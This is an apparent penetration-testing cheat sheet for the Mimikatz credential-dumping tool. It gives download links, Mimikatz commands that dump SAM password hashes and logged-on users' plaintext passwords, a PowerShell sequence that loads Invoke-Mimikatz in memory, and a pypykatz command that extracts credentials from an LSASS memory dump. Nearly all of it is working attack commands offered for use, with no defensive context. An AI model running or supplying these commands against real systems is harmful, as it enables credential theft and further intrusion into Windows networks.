Mimikatz

https://adsecurity.org/?page_id=1821

https://adsecurity.org/?p=556

http://woshub.com/how-to-get-plain-text-passwords-of-windows-users/

Options

• Mimikatz.exe (If it fails get an older version: )

• Invoke-Mimikatz.ps1

  • https://github.com/samratashok/nishang/blob/master/Gather/Invoke-Mimikatz.ps1 (Newest)

  • https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 (Older)

Hash Dumping

lsadump::sam

Logged-On Passwords

sekurlsa::logonpasswords

Loading with Powershell

Import-Module .\Invoke-Mimikatz.ps1 
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz}

Pypykatz

• From Kali with dump file

pypykatz lsa minidump lsass.DMP